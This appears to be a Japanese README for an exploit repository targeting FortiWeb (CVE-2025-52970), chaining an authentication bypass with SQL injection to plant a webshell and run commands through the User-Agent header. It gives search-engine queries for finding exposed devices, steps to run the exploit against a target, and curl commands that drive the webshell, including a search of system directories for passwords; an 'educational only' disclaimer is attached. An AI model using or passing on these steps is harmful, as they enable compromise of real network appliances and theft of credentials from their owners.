
FortiWeb(CVE-2025-52970)における認証バイパスをSQLインジェクションと連鎖させ、ウェブシェルをアップロードし、HTTPヘッダを介してリモートコード実行を達成することを実証します。
このリポジトリは、FortiWeb の認証バイパス を実証し、それを連鎖させて リモートコード実行 (RCE) を達成するものです。
このエクスプロイトは、脆弱なエンドポイントを悪用して SQL ペイロードを注入し、ウェブシェルをアップロードし、HTTP ヘッダーを介してコマンドを実行します。
⚠️ 免責事項:
このプロジェクトは教育および研究目的のみです。
所有していない、またはテストする明示的な許可を得ていないシステムに対して使用しないでください。
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
CVE: CVE-2025-52970
コンポーネント: FortiWeb Fabric API (/api/fabric/device/status)
影響: 認証バイパス → SQLインジェクション → ウェブシェルアップロード → RCE
ベクター: 細工された Authorization ヘッダー + SQLインジェクション
一時的なSQLテーブルを削除して作成します。
ウェブシェルペイロードをチャンクに分割して書き込みます。
シェルを /cgi-bin/x.cgi にエクスポートします。
権限をトリガーするための補助Pythonスクリプトをアップロードします。
User-Agent ヘッダーを介してコマンドを送信し、ウェブシェルにアクセスします。
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
3️⃣ ウェブシェルとの対話
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
